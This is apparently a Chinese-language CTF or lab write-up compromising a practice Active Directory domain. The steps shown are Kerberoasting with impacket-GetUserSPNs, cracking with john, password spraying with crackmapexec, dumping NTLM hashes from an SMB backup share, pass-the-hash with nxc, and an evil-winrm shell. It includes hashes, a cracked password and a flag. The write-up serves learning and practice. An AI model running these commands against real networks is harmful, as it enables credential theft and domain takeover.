143889cae26a7ac31fbbc73507cd663728eb402fa0fe1a4253e2cc5606bc6f1d6310a35c99ecb2b9ccb5fb1d454c4c13ed0224ba6f5d75cc09a179a63837ebd92932422cc804b254e95181d569f044ef22335830e782a194831b4818f00789ff3de1d2440bd624e6d9cd09bb356a788a97de91561d2ce0d20f8369494a52cadfe2017f0e24314eed718341c3616219115ccd637bbc6db96052cb2d518c8c720e9b70f490ceee23d6c45568466e9ab7a1548e1550466786c51c6bc5e365f8324203f8af07a0d7648e69c936a248dbf74f6decffd91e73653fc0042650054e74bffb200b4532d32dc66ce3c6f62a0cd9127cc2a1b86772f3cd3cee8b9681ead9127c6329b675d75fec80398ab64e5b329d19156ff13f83bf4519ca7924dd8fd0d94b21c771723e8254d2cb135568c59549291111cb458ed036a8c999533ab87303745411e0fe5e957688ad489878ccf08d3bf8226cac536c07fbee73b479f155cc37107fc59160dbd5f52caac082a8f2d3f2908bf1bbdbbe6bec3c8b25d1c76a402c6e989750e89ff32aafcb4f341929831101266aa55b225e285f3625a519443a60da00a54f17d817f38c1e34276543db03ea3efa58e8d6f293887955e13a4cc51a0bfb9f5f7ae06377427fe5bf61fe70679ee849b88f7999b211fd32863ccd276222fabe66c30745c3fd4ace960c890974cf98c562c14fb5f2d9e49eaabe3c84c40f19610ed651e27918bcd53e43b9f62b124247e39aa96d8035d0f58f5a48f2e85c3c71bd9eda88e70fa2ffdce2507369928def0b6f4db739c9d7673d0c3ff$krb5tgs$23$*monitoring_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/monitoring_svc*$829f0d1678f8e67049da813ed36ef73f$ca50d9fa720b1cf6357064e6cb3fb356be980dcf8a44c69869686bbf81de12d9d3ac5bffd3ba66992722f4b192a23cd1a6ccf464764a6d4c937a3851066d6384accdc7ce69799b5e783e057bbed6b71eac1af1eee45c41a8cffe7a172c8d23b26665f899783304c910a2303f76cefd4927fda756118af16e90b3d8352cc0df50c02abad581533d19cb72fdce237cdff8af45b3b3b4480a1f265567c09850978779eb088f415c454209558ce8c5423afba421b9fe6dbe79ffa135f09023e925c7b1a5f20738bb926e9de4d9b9fe2cda7e75f79376c82df3241cc552129dc72d9239f838b140460d812e4a7a773c9f6b1843846c3210497cd2477b4bbbdd623aaf0fdfefb3b174e3b38aa89800ad689b8b262b14b4c3c324a806cd8848070812e3475e16eb74634d53b429b94b8a2a78f0d6df94531ee1c5be659c580db37f01c7449ac19a4807bbf9eed5d912451a0f3daaa1439c832dff702c8f6a5176f8b7071e4f3ba5d49ea3f1eb774c8e46bcbf3e760d24830d9aa0d435d8e3c94430977af97cf968900e180c8f64df2352a47592dc60b905f1404dd55818599c7b7217eecae3a7e99006872a41ef5bde9d1d5e27561ccf8898f3aed2184cb6ce415215334c3a71bec044eeb72b5218be00ed6992325f2572526d67a95dfdf3c26c9d7b42fb0d11cd4ffb2f0f7edfce0ecdb6108a6dc533fb1e6fb48a0691c5d4308f4cd61e1e3858f120ae0f0cadfd9fcccebf8e855cec9d21c9143c45c824489d55df4e6c4beebab811c253b148d172bf3d886369f5f870822682de8105ceb7ed681884df57e45190e6decf38696f304f8b6ad909b8c106b33fd6c6d24936cfa87ff536c5e1b6bca93d813c4142b1cfa33218b68171c6096c6aafdeb9630411526ff96adac8b0484d47588051d4a73e571aa51c91269f7feede165007d6b1f7cd9e09b4d27dbd1c7fd61145cc8bb230f747f6ef1b312585a0f372193e2823220def36e0860cea0de3e450e4fa137892fb21be597800861cb50e5f3cb8bf9da60c56ca046548b29b0f5e8bd4e2f6646a1ce7b428573eb9da811c3958c43a21f768039cae3b93eebea0205715393ead8789dc1ed1f7097a43faa9f0a4cf79b8e02dc388045e4431ea523f89f3bd860669b4911deb29fd93d97e82884573523c2b81217e9f32aafc38484abbc04b92e339a058ddf4f4ad02cb954985b19467c6d353ffa1a240d1e6deaaeb670f27df6ea1aeb3336681c28801bbe4eb0c9b3eb17748d15ab908c4365bacd0ae64a7462c5c02f2dc7eda13d484d1cf3cf6f4d71175092280646ab9287c45bf701f3ffb4b5f6ab89c8950ccfa22ff6a074b2b985f14e24fe796020695b1fe56e0d3efd36eb8f38a70f72ac31762508b7c47a9dd60dc43ede2bf9100beb70c43f0c6275fdbd8c9b35588d8d04e4a5ae8bf53fd293244ff4cd88778f451fde85f79a2f97593d863f95e874fc5af4f8f09d63a113f82ff5204903667| 问题 | 原因 |
|---|---|
| 为什么普通用户能枚举 SPN | LDAP 默认允许读取域用户对象,SPN 是公开信息 |
| 为什么普通用户能请求 TGS | Kerberos 允许任何用户请求访问服务票据 |
| 为什么能拿到服务账号 hash | TGS 返回的票据用服务账号密码加密,可以离线破解 |
| 为什么普通用户密码没泄露 | 普通用户通常没有 SPN,无法生成 TGS hash |
impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 10.0.91.3 -request | grep '\$krb5tgs' > hash.txt
┌──(root㉿kali)-[/home/kali]└─# john --wordlist=Desktop/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8Loaded 5 password hashes with 5 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])Will run 4 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for status0g 0:00:00:11 62.62% (ETA: 13:37:24) 0g/s 818641p/s 4093Kc/s 4093KC/s coconut24..cococyPassword123!! (?)1g 0:00:00:16 DONE (2025-08-20 13:37) 0.05903g/s 846738p/s 4020Kc/s 4020KC/s !!12Honey..*7¡Vamos!Use the "--show" option to display all of the cracked passwords reliablySession completed.
┌──(root㉿kali)-[/home/kali]└─# john --show hash.txt?:Password123!!密码喷洒
得到密码后进行密码喷洒,看密码属于哪些个用户
┌──(root㉿kali)-[/home/kali]└─# crackmapexec smb 10.0.91.3 -u user.txt -p 'Password123!!' --continue-on-success | grep +SMB 10.0.91.3 445 DC01 [+] SOUPEDECODE.LOCAL\file_svc:Password123!!SMB信息收集
获得新用户后再通过SMB获得信息
经过测试,最后发现backup文件夹该用户有权限,并获得文件 backup_extract.txt
┌──(root㉿kali)-[/home/kali]└─# smbclient //10.0.91.3/backup -U SOUPEDEODE.LOCAL/file_svc%'Password123!!'Try "help" to get a list of possible commands.smb: \> ls . D 0 Mon Jun 17 13:41:17 2024 .. DR 0 Mon Jun 17 13:44:56 2024 backup_extract.txt A 892 Mon Jun 17 04:41:05 2024
12942591 blocks of size 4096. 10875720 blocks availablesmb: \> get backup_extract.txtgetting file \backup_extract.txt of size 892 as backup_extract.txt (62.2 KiloBytes/sec) (average 62.2 KiloBytes/sec)┌──(root㉿kali)-[/home/kali]└─# cat backup_extract.txtWebServer$:2119:aad3b435b51404eeaad3b435b51404ee:c47b45f5d4df5a494bd19f13e14f7902:::DatabaseServer$:2120:aad3b435b51404eeaad3b435b51404ee:406b424c7b483a42458bf6f545c936f7:::CitrixServer$:2122:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::FileServer$:2065:aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559:::MailServer$:2124:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::BackupServer$:2125:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::ApplicationServer$:2126:aad3b435b51404eeaad3b435b51404ee:8cd90ac6cba6dde9d8038b068c17e9f5:::PrintServer$:2127:aad3b435b51404eeaad3b435b51404ee:b8a38c432ac59ed00b2a373f4f050d28:::ProxyServer$:2128:aad3b435b51404eeaad3b435b51404ee:4e3f0bb3e5b6e3e662611b1a87988881:::MonitoringServer$:2129:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::| ┌──(root㉿kali)-[/home/kali] └─# awk -F ’[:]’ ‘{print 1}' backup_extract.txt > username.txt<br/><br/>┌──(root㉿kali)-[/home/kali]<br/>└─# awk -F '[:]' '{print 4}’ backup_extract.txt > passwd.txt |
|---|
可以通过NTLMhash进行横向移动
nxc smb 10.0.91.3 -u username.txt -H hash.txt
┌──(root㉿kali)-[/home/kali]
└─# nxc smb 10.0.91.3 -u username.txt -H passwd.txt
SMB 10.0.91.3 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB 10.0.91.3 445 DC01 [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
利用smbclient和psexec失败
- FileServer$ 是服务账号
- 通常只对文件服务器相关资源有权限
- 默认没有 管理员权限,无法在远程主机创建服务或执行进程
psexec需要在目标机器上创建临时服务,因此需要管理员权限- 目标主机不是 FileServer$ 的管理范围
- CME 输出显示 FileServer$ 能访问 SMB 共享,但不代表能执行远程命令
┌──(root㉿kali)-[/home/kali]└─# crackmapexec smb 10.0.91.3 -u FileServer$ -H e41da7e79a4c76dbd9cf79d1cb325559 --sharesSMB 10.0.91.3 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)SMB 10.0.91.3 445 DC01 [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)SMB 10.0.91.3 445 DC01 [+] Enumerated sharesSMB 10.0.91.3 445 DC01 Share Permissions RemarkSMB 10.0.91.3 445 DC01 ----- ----------- ------SMB 10.0.91.3 445 DC01 ADMIN$ READ,WRITE Remote AdminSMB 10.0.91.3 445 DC01 backupSMB 10.0.91.3 445 DC01 C$ READ,WRITE Default shareSMB 10.0.91.3 445 DC01 IPC$ READ Remote IPCSMB 10.0.91.3 445 DC01 NETLOGON READ,WRITE Logon server shareSMB 10.0.91.3 445 DC01 SYSVOL READ Logon server shareSMB 10.0.91.3 445 DC01 UsersGetshell
远程端口 WinRM 5985开放
- WinRM 是 Windows 的 远程管理服务,本质上是一个 基于 HTTP/HTTPS 的远程 PowerShell 通道
- 默认监听端口:
- HTTP:5985
- HTTPS:5986
- 允许远程执行 PowerShell 命令
- 支持多种身份验证方式:
- Kerberos
- NTLM
- 明文密码
evil-winrm -i 10.0.91.3 -u 'FileServer$' -H 'e41da7e79a4c76dbd9cf79d1cb325559'
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txta9564ebc3289b7a14551baf8ad5ec60a